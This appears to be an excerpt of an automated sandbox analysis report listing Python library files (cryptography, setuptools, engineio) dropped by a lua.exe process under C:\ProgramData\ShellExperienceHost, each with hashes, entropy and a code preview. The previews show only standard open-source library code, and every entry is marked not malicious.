Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details...from __future__ import absolute_import, division, print_function..from cryptography.exceptions import UnsupportedAlgorithm, _Reasons.from cryptography.hazmat.backends import _get_backend.from cryptography.hazmat.backends.interfaces import HMACBackend.from cryptography.hazmat.primitives import constant_time.from cryptography.hazmat.primitives.twofactor import InvalidToken.from cryptography.hazmat.primitives.twofactor.hotp import HOTP.from cryptography.hazmat.primitives.twofactor.utils import _generate_uri...class TOTP(object):. def __init__(. self,. key,. length,. algorithm,. time_step,. backend=None,. enforce_key_length=True,. ):. backend = _get_backend(backend). if not isinstance(backend, HMACBackend):. raise UnsupportedAlgorith

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\primitives\twofactor\utils.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	982
Entropy (8bit):	4.599549844621767
Encrypted:	false
SSDEEP:	12:qD+6O0vgEVhO17yDjCy5JsUj/vA8vd/WoQD2lSTgR0F1d8MgmVfYOL9UuJZy7Sh7:q9O0opQ2spVQD2E/F1d3YOxleGhSQV
MD5:	4BF7985F09F9604E3355662AA1685D8D
SHA1:	629127BA295C1A96BF22A3D3AB1D00E8079DD3D9
SHA-256:	64A65238BD9C2EC182B1235FC77918958B7DD40E1B714D70F6EA7610BD61C1A0
SHA-512:	612BF8C62DF159E6F56BF33F239C9B0F14BB523F4EC85E1B5A7A0F6099C454C8BCD4621CE6EB07AA6C0590EF1DFCC08D75EEA40C1CB5456715AAECB0936FE28E
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details...from __future__ import absolute_import, division, print_function..import base64..from six.moves.urllib.parse import quote, urlencode...def _generate_uri(hotp, type_name, account_name, issuer, extra_parameters):. parameters = [. ("digits", hotp._length),. ("secret", base64.b32encode(hotp._key)),. ("algorithm", hotp._algorithm.name.upper()),. ].. if issuer is not None:. parameters.append(("issuer", issuer)).. parameters.extend(extra_parameters).. uriparts = {. "type": type_name,. "label": (. "%s:%s" % (quote(issuer), quote(account_name)). if issuer. else quote(account_name). ),. "parameters": urlencode(parameters),. }. return "otpauth://{type}/{label}?{parameters}".format(**uriparts).

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\utils.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	4745
Entropy (8bit):	4.5829851957834995
Encrypted:	false
SSDEEP:	96:FW5xKb1g0yyyRqGPdN1REWPdAI34IzaSaMOcqhXlsKy1XcwRof06swc:FWb08y6bPdN31Pdr3vA6cwRoskc
MD5:	95C659D374CC4A15EFE106A83537D33C
SHA1:	069860ACB3F093F5122E802637183C06CA08CED5
SHA-256:	4296602CE0017DE6837223E5AC5F96F2088988E2F603353A0238EAEA1E969336
SHA-512:	6FFAA8B967430D4993ED65EDA0B1BE09E41880EAA6123CA422BEA017091CA1CA9E7D217D7017E848D13516E89081D7E97CD6E1C8B5E40C9CEB65BA98A3E2F65B
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details...from __future__ import absolute_import, division, print_function..import abc.import binascii.import inspect.import sys.import warnings...# We use a UserWarning subclass, instead of DeprecationWarning, because CPython.# decided deprecation warnings should be invisble by default..class CryptographyDeprecationWarning(UserWarning):. pass...# Several APIs were deprecated with no specific end-of-life date because of the.# ubiquity of their use. They should not be removed until we agree on when that.# cycle ends..PersistentlyDeprecated2017 = CryptographyDeprecationWarning.PersistentlyDeprecated2019 = CryptographyDeprecationWarning...def _check_bytes(name, value):. if not isinstance(value, bytes):. raise TypeError("{} must be bytes".format(name))...def _check_byteslike(name, value):. try:. mem

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\x509\__init__.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	7699
Entropy (8bit):	5.288343621911225
Encrypted:	false
SSDEEP:	192:FcyvCfeOMDUw2szjYMa9nNZSxW6dRUcV4MYcuCAcPg:FkMDUw2zNZS5UK4su3cPg
MD5:	0A599DA4C0F6E5B33F035E26EC07BF94
SHA1:	EB5877D6E5AB13760FCDB67BA70798499F290B65
SHA-256:	D63B851FE9EF2D2EE4534C79D9530DEE937AB3B1F9E58F3A36A52CCDA061862E
SHA-512:	0715303017B7A185534F2B7FF97AA2FC970B6F4CBD10CFE38D49B80F4CD5892DC5BAC14F5A69C72BFF46F06E84DF6F0BF2A1A8A9E5424DF951786C881ABABFDD
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details...from __future__ import absolute_import, division, print_function..from cryptography.x509 import certificate_transparency.from cryptography.x509.base import (. AttributeNotFound,. Certificate,. CertificateBuilder,. CertificateRevocationList,. CertificateRevocationListBuilder,. CertificateSigningRequest,. CertificateSigningRequestBuilder,. InvalidVersion,. RevokedCertificate,. RevokedCertificateBuilder,. Version,. load_der_x509_certificate,. load_der_x509_crl,. load_der_x509_csr,. load_pem_x509_certificate,. load_pem_x509_crl,. load_pem_x509_csr,. random_serial_number,.).from cryptography.x509.extensions import (. AccessDescription,. AuthorityInformationAccess,. AuthorityKeyIdentifier,. BasicConstraints,. CRLDistributionPoints,. CRLNumber,

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\x509\base.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	26409
Entropy (8bit):	4.369476505930198
Encrypted:	false
SSDEEP:	384:Fp4R5W1gkyTYk0SCZWhr4TdMEW0hZrIaqi:bgDTL0+2RW0Hcaqi
MD5:	3922843BE9387AC95C5E9DA64B1C6827
SHA1:	D47DA5DFE4E15DAEB6707C5E23E61BF055EBAEF2
SHA-256:	6EEAD6BD6528B8F88FCE63D4CCD654CC47BAE2047E58C90DCA20E98D80AF11CF
SHA-512:	0BE5F03564E60B7CE02695540645AA6379607117A7428FA7B15938DCAAB3E2B41981FEA7EBFAFB9E0480AB5CB2592B5DB3EF3E84E7C99A51FD93731228AB8AFC
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details...from __future__ import absolute_import, division, print_function..import abc.import datetime.import os.from enum import Enum..import six..from cryptography import utils.from cryptography.hazmat.backends import _get_backend.from cryptography.hazmat.primitives.asymmetric import (. dsa,. ec,. ed25519,. ed448,. rsa,.).from cryptography.x509.extensions import Extension, ExtensionType.from cryptography.x509.name import Name.from cryptography.x509.oid import ObjectIdentifier..._EARLIEST_UTC_TIME = datetime.datetime(1950, 1, 1)...class AttributeNotFound(Exception):. def __init__(self, msg, oid):. super(AttributeNotFound, self).__init__(msg). self.oid = oid...def _reject_duplicate_extension(extension, extensions):. # This is quadratic in the number of extensions. for e in extensi

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\x509\certificate_transparency.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1000
Entropy (8bit):	4.63720931072193
Encrypted:	false
SSDEEP:	12:qD+6O0vgEVhO17yDjCy5JR4pXBbt/R2LQ1R74SGuvjyiF3q7Me0ahgMgZk0Gms3B:q9O0opQ2aW1tp+mFLq78uCWm+l
MD5:	99891A0C8A4B9D04471024E6EE3470E2
SHA1:	903483490B28DA7DAF824BD46384400EE1B5CAC7
SHA-256:	789F65AC84DDC8C9F85ECADC55DAD3685548FD147B997FD5CCC67289A1296E9B
SHA-512:	8312C348A7056A5158A4BA92B4079FA8718DB3BBC9BC309D21DE19FD8021B34941239609115701F198F9845078617972EABCFFC0B4552E003EB380F8386BBB77
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details...from __future__ import absolute_import, division, print_function..import abc.from enum import Enum..import six...class LogEntryType(Enum):. X509_CERTIFICATE = 0. PRE_CERTIFICATE = 1...class Version(Enum):. v1 = 0...@six.add_metaclass(abc.ABCMeta).class SignedCertificateTimestamp(object):. @abc.abstractproperty. def version(self):. """. Returns the SCT version.. """.. @abc.abstractproperty. def log_id(self):. """. Returns an identifier indicating which log this SCT is for.. """.. @abc.abstractproperty. def timestamp(self):. """. Returns the timestamp for this SCT.. """.. @abc.abstractproperty. def entry_type(self):. """. Returns whether this is an SCT for a certificate or pre-certificate.. """.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\x509\extensions.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	52924
Entropy (8bit):	4.454544516904033
Encrypted:	false
SSDEEP:	384:FDBOE0gwXIoS2qy7XHDglKGhF5K0o6S4z1AHuUgP/OGy5UOjR7ceekX/hwkzKaC3:5BOE0NXIwCvoKRG95UJjexNk
MD5:	6E48A176E864E93FBE7B0A2C60BC4F96
SHA1:	3DCBA7C47E39321DBB15D0930C295743F858DE9C
SHA-256:	1CEC1808A032FB8A8AE5E596601E149C97A30BD46EDC505032C2D7A1D6AC47D6
SHA-512:	359CBCDD50CF932F370CAFF00F9392AE7C0356BBA8C1769B44A9B0307DF3DF18721D51A60575EEDDDDC477C923B35CCBCF578834C754A6012D9F375CAB20E789
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details...from __future__ import absolute_import, division, print_function..import abc.import datetime.import hashlib.import ipaddress.from enum import Enum..import six..from cryptography import utils.from cryptography.hazmat._der import (. BIT_STRING,. DERReader,. OBJECT_IDENTIFIER,. SEQUENCE,.).from cryptography.hazmat.primitives import constant_time, serialization.from cryptography.hazmat.primitives.asymmetric.ec import EllipticCurvePublicKey.from cryptography.hazmat.primitives.asymmetric.rsa import RSAPublicKey.from cryptography.x509.certificate_transparency import (. SignedCertificateTimestamp,.).from cryptography.x509.general_name import GeneralName, IPAddress, OtherName.from cryptography.x509.name import RelativeDistinguishedName.from cryptography.x509.oid import (. CRLEntryExtensionOID,. E

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\x509\general_name.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	7942
Entropy (8bit):	4.46327167344932
Encrypted:	false
SSDEEP:	192:FN/VzxpuL0Ytj5DuuLyYTj54UuLiyj5EP6f3j5gKFOIEdj5pZKj5p0iVjw:F+Tt1lT4WyN3RKRKDVc
MD5:	CA4DADBFFCDBD6992723D36E79522308
SHA1:	ECDF1FD7225152330BC2DC8D3A1CD969B0B1D091
SHA-256:	9CD206FBEAC9F93CD1124844ABBDBB15EDED8EFC557E55BB88F20C8C9B3A2EB2
SHA-512:	AAF3CA7D8765EF2FB7143235700ADB4164EBB3ABD246FA2606E7858DA189C29D7E86FB7F2C0E160EABED2C3577533A2A5FDC178CAF484EDE33BCE45D44FA573F
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details...from __future__ import absolute_import, division, print_function..import abc.import ipaddress.from email.utils import parseaddr..import six..from cryptography import utils.from cryptography.x509.name import Name.from cryptography.x509.oid import ObjectIdentifier..._GENERAL_NAMES = {. 0: "otherName",. 1: "rfc822Name",. 2: "dNSName",. 3: "x400Address",. 4: "directoryName",. 5: "ediPartyName",. 6: "uniformResourceIdentifier",. 7: "iPAddress",. 8: "registeredID",.}...class UnsupportedGeneralNameType(Exception):. def __init__(self, msg, type):. super(UnsupportedGeneralNameType, self).__init__(msg). self.type = type...@six.add_metaclass(abc.ABCMeta).class GeneralName(object):. @abc.abstractproperty. def value(self):. """. Return the value of the objec

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\x509\name.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	8291
Entropy (8bit):	4.8157887774589305
Encrypted:	false
SSDEEP:	192:F/wGn3vZ7ZbjEdAJgFS+C1ESj4vlUWYcHaneD0qZ7b0s8SGL:FVY6gFS9p8mZ29Z/0xSs
MD5:	74BB582A906CB0267DD112C916E6E3DA
SHA1:	C903144250754A37B5A8D6C98798207B7C9F191D
SHA-256:	8F692175E7BC8D00646D9778455EB48E2F15D199E06EC074EE2E5C9DF94304F9
SHA-512:	F5A355D6973FD89B89BA1A6FEB715684E4B51CFA90E88B51327E1B9E6EA1238DB13DFD74725B6838F77B190969AF5BBDEFFD3C72E255332FE7C670CFF8D92489
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details...from __future__ import absolute_import, division, print_function..from enum import Enum..import six..from cryptography import utils.from cryptography.hazmat.backends import _get_backend.from cryptography.x509.oid import NameOID, ObjectIdentifier...class _ASN1Type(Enum):. UTF8String = 12. NumericString = 18. PrintableString = 19. T61String = 20. IA5String = 22. UTCTime = 23. GeneralizedTime = 24. VisibleString = 26. UniversalString = 28. BMPString = 30..._ASN1_TYPE_TO_ENUM = {i.value: i for i in _ASN1Type}._SENTINEL = object()._NAMEOID_DEFAULT_TYPE = {. NameOID.COUNTRY_NAME: _ASN1Type.PrintableString,. NameOID.JURISDICTION_COUNTRY_NAME: _ASN1Type.PrintableString,. NameOID.SERIAL_NUMBER: _ASN1Type.PrintableString,. NameOID.DN_QUALIFIER: _ASN1Type.PrintableString,. N

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\x509\ocsp.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	13245
Entropy (8bit):	4.470608652505934
Encrypted:	false
SSDEEP:	96:Fw0ewd6f3gm519BKLCYQk+9Bn0cnxoh5S++An6xwrWpC6K8WRWBChT7bSwZWB2i9:Fwtwd+3j5IXJSy8ZTK8gWBwWBL
MD5:	69785018F031959EBDE3524470BC2540
SHA1:	317355268127166FB85996B6513B2325E778A176
SHA-256:	9EBE4193707F6FD2DA1BED678C49A8D1FFEC98083607A094E56AFAC0CAFCD4C2
SHA-512:	DEAAE823262C9CAF35B45D718A7A5DAF2ED1182274D1A10D9C1B8B5D1BB450ECE1CBC592566D3FBDE04DAB210657D61BE30185B3023D4FE174ADD245F50F63AA
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details...from __future__ import absolute_import, division, print_function..import abc.import datetime.from enum import Enum..import six..from cryptography import x509.from cryptography.hazmat.primitives import hashes.from cryptography.x509.base import (. _EARLIEST_UTC_TIME,. _convert_to_naive_utc_time,. _reject_duplicate_extension,.)..._OIDS_TO_HASH = {. "1.3.14.3.2.26": hashes.SHA1(),. "2.16.840.1.101.3.4.2.4": hashes.SHA224(),. "2.16.840.1.101.3.4.2.1": hashes.SHA256(),. "2.16.840.1.101.3.4.2.2": hashes.SHA384(),. "2.16.840.1.101.3.4.2.3": hashes.SHA512(),.}...class OCSPResponderEncoding(Enum):. HASH = "By Hash". NAME = "By Name"...class OCSPResponseStatus(Enum):. SUCCESSFUL = 0. MALFORMED_REQUEST = 1. INTERNAL_ERROR = 2. TRY_LATER = 3. SIG_REQUIRED = 5. UNAUTHORIZED

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\x509\oid.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	12594
Entropy (8bit):	5.492025601286956
Encrypted:	false
SSDEEP:	192:FJE2oLqMd3YMb8Ajmc5CyWf9X8H2mUOiHhKIgIBrADJrYX062dM:FJE1GtTF7o9LrY6dM
MD5:	5647D62FB6174B5EA339DA126BC7F1AD
SHA1:	D3D7FBBA9A12FD95CDBFC959EE7D1EB8525678D3
SHA-256:	5A9E98E1632B15AEEFB14995E2D6CCBCF3C0974222BB843143BA27DA7A7DE105
SHA-512:	3E5C2D18A73471E7A89BA96964974B0A16FA0E7CD7C211B0494E9A83C365E76A77CBBC7AEE0221163D59CF98483A0A4704B8E06A6F194857E0A38CF44D319F00
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details...from __future__ import absolute_import, division, print_function..from cryptography.hazmat._oid import ObjectIdentifier.from cryptography.hazmat.primitives import hashes...class ExtensionOID(object):. SUBJECT_DIRECTORY_ATTRIBUTES = ObjectIdentifier("2.5.29.9"). SUBJECT_KEY_IDENTIFIER = ObjectIdentifier("2.5.29.14"). KEY_USAGE = ObjectIdentifier("2.5.29.15"). SUBJECT_ALTERNATIVE_NAME = ObjectIdentifier("2.5.29.17"). ISSUER_ALTERNATIVE_NAME = ObjectIdentifier("2.5.29.18"). BASIC_CONSTRAINTS = ObjectIdentifier("2.5.29.19"). NAME_CONSTRAINTS = ObjectIdentifier("2.5.29.30"). CRL_DISTRIBUTION_POINTS = ObjectIdentifier("2.5.29.31"). CERTIFICATE_POLICIES = ObjectIdentifier("2.5.29.32"). POLICY_MAPPINGS = ObjectIdentifier("2.5.29.33"). AUTHORITY_KEY_IDENTIFIER = ObjectIdentifier("2.5.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\distutils-precedence.pth Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	152
Entropy (8bit):	4.926892830610143
Encrypted:	false
SSDEEP:	3:JSxYEVoC2gxAxCKKFuGA0jpSHEBnJyY0MePAoSoKBW6BMW2y+C1e5k:aYEVo10AxCKeuXypcAnJyYPNB96W2y+C
MD5:	C39367750A2AD85B290FA7595D4CC457
SHA1:	4E2B7B413113994E4730EFE03E564A84CEBE2D73
SHA-256:	7EA7FFEF3FE2A117EE12C68ED6553617F0D7FD2F0590257C25C484959A3B7373
SHA-512:	40E5B4813F24601AD581C93FA0115454EF89E61F6B911644E3B89946280FF97CBD46AE00287D8DC71392EF6C940EBAA173D2E3C32DF72F0AA27D65ED73FE37C1
Malicious:	false
Preview:	import os; var = 'SETUPTOOLS_USE_DISTUTILS'; enabled = os.environ.get(var, 'stdlib') == 'local'; enabled and __import__('_distutils_hack').add_shim(); .

C:\ProgramData\ShellExperienceHost\Lib\site-packages\easy_install.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	126
Entropy (8bit):	4.423690747345368
Encrypted:	false
SSDEEP:	3:uZeUlILx3CFRLhAj5EMCrXKhRYLKfhb6MLWgLuBcN:uwVLoFAjajWh9b6KWgYU
MD5:	97B52FE7253BF4683F9F626F015EB72E
SHA1:	AACB1800C66DF9D4AA19B5527563421737F73020
SHA-256:	3030BDBEDE40C43B175F9A9C2A5073D939D6E93A6EBFF0286E77E1089F57DCF3
SHA-512:	2B44DEB5DC5F9DA7A2DC42E97D264F462A3D4B19088B399A4C09F2E6E9720BB6AC19A394E69D3A218264B4A4B1BE462DC0FC6DBB2C8C4A8A7A3C753434FFB3D4
Malicious:	false
Preview:	"""Run the EasyInstall command"""..if __name__ == '__main__':. from setuptools.command.easy_install import main. main().

C:\ProgramData\ShellExperienceHost\Lib\site-packages\engineio\__init__.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	787
Entropy (8bit):	4.649180794194717
Encrypted:	false
SSDEEP:	12:ky7B/gN8samFBXmu3w3PILqEnAfyppkQlnzN4uRwDGw37CyAfJZJP1HRBqjkYCls:k4Cvadub75IQPnwPCyaJXtHzYCgMM
MD5:	B5F305CE8D48514037268226DFA6E423
SHA1:	C6CBFBB005CD2D2A39007DB83DCE10FC90881F41
SHA-256:	F02EE2494F3027E7511BD838AA7B4CE06759A0DA126B6A168B0451DA4EDCB44A
SHA-512:	FBE21D75DACF4C909AD3F9BDFCF3B9F25761FD539EA313553A63BFC945544D6E4B43DF49EF00BBC32BC6BB61DE034BF661E472BAE91CDF39F910E80F32D089BF
Malicious:	false
Preview:	import sys..from .client import Client.from .middleware import WSGIApp, Middleware.from .server import Server.if sys.version_info >= (3, 5): # pragma: no cover. from .asyncio_server import AsyncServer. from .asyncio_client import AsyncClient. from .async_drivers.asgi import ASGIApp. try:. from .async_drivers.tornado import get_tornado_handler. except ImportError:. get_tornado_handler = None.else: # pragma: no cover. AsyncServer = None. AsyncClient = None. get_tornado_handler = None. ASGIApp = None..__version__ = '3.13.2'..__all__ = ['__version__', 'Server', 'WSGIApp', 'Middleware', 'Client'].if AsyncServer is not None: # pragma: no cover. __all__ += ['AsyncServer', 'ASGIApp', 'get_tornado_handler',. 'AsyncClient'],.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\engineio\async_drivers\aiohttp.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	3777
Entropy (8bit):	4.711761006864299
Encrypted:	false
SSDEEP:	96:TRnwRj1MnVEVR6XbFwYiQSIeoedeQDeSeie5GXdo9LVayzQoT8I8/ZH:TRnwEnVEVR6XbFwG0JkZ7r50do9LVZG
MD5:	E925024E3857065DD47501A15671800A
SHA1:	68381CA1A7970D75ED9F31397D0DE68EDAB9E8AE
SHA-256:	7242E6F48AC7C730FBAE335D49E9662E423C9E085C28CF7A88D1F64CE2752D55
SHA-512:	0D511BF7F99F255C3F3B907C465187A745956FBD5EF9C6633887DC22E56B1E9EC7BC8FD229017F6BE891152D26B4CBA370A9FF54678EB1A431ABA46E248FB11D
Malicious:	false
Preview:	import asyncio.import sys.from urllib.parse import urlsplit..from aiohttp.web import Response, WebSocketResponse.import six...def create_route(app, engineio_server, engineio_endpoint):. """This function sets up the engine.io endpoint as a route for the. application... Note that both GET and POST requests must be hooked up on the engine.io. endpoint.. """. app.router.add_get(engineio_endpoint, engineio_server.handle_request). app.router.add_post(engineio_endpoint, engineio_server.handle_request). app.router.add_route('OPTIONS', engineio_endpoint,. engineio_server.handle_request)...def translate_request(request):. """This function takes the arguments passed to the request handler and. uses them to generate a WSGI compatible environ dictionary.. """. message = request._message. payload = request._payload.. uri_parts = urlsplit(message.path). environ = {. 'wsgi.input': payload,. 'wsgi.errors': sys.stderr,.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\engineio\async_drivers\asgi.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	9393
Entropy (8bit):	4.431161914805558
Encrypted:	false
SSDEEP:	192:ZrqJsIuMRH7GWeW/HYfml82GzTTFcdkZ7r5NZOik:ZrL24Z2GxU
MD5:	94829B056A4397A386F89074CE87CCE6
SHA1:	3DC6B02ECFAEB82A8CB39F298A18E333F5336A86
SHA-256:	CB3EC0CA637A39DFF9324716BEA5661E63D727B8AFA5E0CCB1CC85DE20D67882
SHA-512:	00B79C44AE8EC7F5BDB813FB14D1D91FD4D7CC25583EF2AC04F978B6DC83C397B731AA2FA4D09D2E1C8A1E24A2FFBC4BF83D9FAE8CBA0A448C9E3499A5752031
Malicious:	false
Preview:	import os.import sys.import asyncio..from engineio.static_files import get_static_file...class ASGIApp:. """ASGI application middleware for Engine.IO... This middleware dispatches traffic to an Engine.IO application. It can. also serve a list of static files to the client, or forward unrelated. HTTP traffic to another ASGI application... :param engineio_server: The Engine.IO server. Must be an instance of the. ``engineio.AsyncServer`` class.. :param static_files: A dictionary with static file mapping rules. See the. documentation for details on this argument.. :param other_asgi_app: A separate ASGI app that receives all other traffic.. :param engineio_path: The endpoint where the Engine.IO application should. be installed. The default value is appropriate for. most cases.. :param on_startup: function to be called on application startup; can be.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\engineio\async_drivers\eventlet.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	981
Entropy (8bit):	4.557200538191313
Encrypted:	false
SSDEEP:	24:1R2bso7DVyAD7VIireK6C+69m1NX2NA0k/A26:PAsokgVIi+TImXqA08A/
MD5:	56D1A1E543D6805BBD39903D51D9F4C5
SHA1:	3F7CEB4994201092D11D6DE9E6A6EE987348E4CF
SHA-256:	AF39DD937D7ABD25AB8A85DEEC08FED1AAEDC27A038907117F95682C3B8FCC47
SHA-512:	C7F895E1228189030E49472D4B84714F93AE92C63E7B1F703961FCB654D4FC6CAE9C34C0C1D9AC64844361B335736FB19AAC0D41EE84CE6F3A3374FC1C840DE2
Malicious:	false
Preview:	from __future__ import absolute_import..from eventlet.green.threading import Thread, Event.from eventlet import queue.from eventlet import sleep.from eventlet.websocket import WebSocketWSGI as _WebSocketWSGI...class WebSocketWSGI(_WebSocketWSGI):. def __init__(self, args, kwargs):. super(WebSocketWSGI, self).__init__(args, **kwargs). self._sock = None.. def __call__(self, environ, start_response):. if 'eventlet.input' not in environ:. raise RuntimeError('You need to use the eventlet server. '. 'See the Deployment section of the '. 'documentation for more information.'). self._sock = environ['eventlet.input'].get_socket(). return super(WebSocketWSGI, self).__call__(environ, start_response)..._async = {. 'thread': Thread,. 'queue': queue.Queue,. 'queue_empty': queue.Empty,. 'event': Event,. 'websocket': WebSocketWSGI,. 'sleep': sleep,.}.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\engineio\async_drivers\gevent.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1803
Entropy (8bit):	4.523209187698246
Encrypted:	false
SSDEEP:	48:PLALyuFQso4fRkFQ5o0yIiG2W1U5DHkp+qA/1A/iz:j8FQTWR0Qa0yIipHy+7S/6
MD5:	43CC2335001C2DEA4F21906686116E02
SHA1:	949D84EC999C8E12EFDAC4723BD04DC115EB9642
SHA-256:	E15E2851B1CC144B67D773DFF590E25A19763D1169B0FD6C27AFBA970D893BDF
SHA-512:	A39E3A9F8429F44F60C92729D78168F33AF9EE2A8803B8FC3D69E930AF13AE82847946A430D1F3D7FD6FCBC6BCFBB5B32BAEBB63B56A364F57C5AFD1F7D44181
Malicious:	false
Preview:	from __future__ import absolute_import..import gevent.from gevent import queue.from gevent.event import Event.try:. import geventwebsocket # noqa. _websocket_available = True.except ImportError:. _websocket_available = False...class Thread(gevent.Greenlet): # pragma: no cover. """. This wrapper class provides gevent Greenlet interface that is compatible. with the standard library's Thread class.. """. def __init__(self, target, args=[], kwargs={}):. super(Thread, self).__init__(target, args, *kwargs).. def _run(self):. return self.run()...class WebSocketWSGI(object): # pragma: no cover. """. This wrapper class provides a gevent WebSocket interface that is. compatible with eventlet's implementation.. """. def __init__(self, app):. self.app = app.. def __call__(self, environ, start_response):. if 'wsgi.websocket' not in environ:. raise RuntimeError('You need to use the gevent-websocket server. '.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\engineio\async_drivers\gevent_uwsgi.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	5404
Entropy (8bit):	4.1714966699106695
Encrypted:	false
SSDEEP:	96:uUFQTWR0haUwIiX0eoHZiHtz9LMRAbMQTwXG7wo3777SN:uURuhDGwOorG77377I
MD5:	7378A70A64B0DF3244B3B867A282B65C
SHA1:	39C56095B9329767059136A02C4E5FE62DB193C4
SHA-256:	6A05831A8C1B7352043E0D46937A5F7BA7BBAD9AB9FE400D00CE88E19092C8F5
SHA-512:	8B33D03A6C54C031BE2B6A90EB96181738C3DC3B0EEB7A0C29AC726CF923B839FE5DD32C273B380947370FD51CA62B65EC1EE95FC849CA9BA814893B129C9F7D
Malicious:	false
Preview:	from __future__ import absolute_import..import six..import gevent.from gevent import queue.from gevent.event import Event.import uwsgi._websocket_available = hasattr(uwsgi, 'websocket_handshake')...class Thread(gevent.Greenlet): # pragma: no cover. """. This wrapper class provides gevent Greenlet interface that is compatible. with the standard library's Thread class.. """. def __init__(self, target, args=[], kwargs={}):. super(Thread, self).__init__(target, args, *kwargs).. def _run(self):. return self.run()...class uWSGIWebSocket(object): # pragma: no cover. """. This wrapper class provides a uWSGI WebSocket interface that is. compatible with eventlet's implementation.. """. def __init__(self, app):. self.app = app. self._sock = None.. def __call__(self, environ, start_response):. self._sock = uwsgi.connection_fd(). self.environ = environ.. uwsgi.websocket_handshake().. self._req_ctx = None

C:\ProgramData\ShellExperienceHost\Lib\site-packages\engineio\async_drivers\sanic.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	4367
Entropy (8bit):	4.692776196513421
Encrypted:	false
SSDEEP:	96:kDYn7Rj1MjBHVe+F7e+ZYiQScUJXeWedeQDeSeie5GXdoCPKoaTzj7Cwl:k8n7EFHBFPZGH/kZ7r50doCPKoWJ
MD5:	9AD13817FEDCD38AC21935FE95F7BF7C
SHA1:	60282B5FF4CC1B75DA5167AFFB58AFEFAA3CA0FF
SHA-256:	1A3F7D00D0C78B0D98F5501DA70B9B8DD0770206B0024CC9D666CFDA1D7CF86B
SHA-512:	551E5CE687F197DC3B3640E235BEAA5B8C72730B4CCE9F4108C21D8DA5D05E068DD128B8469A21DC50B488CF16D8C68B48CF2EA74E29DDAE89E7724536979CE1
Malicious:	false
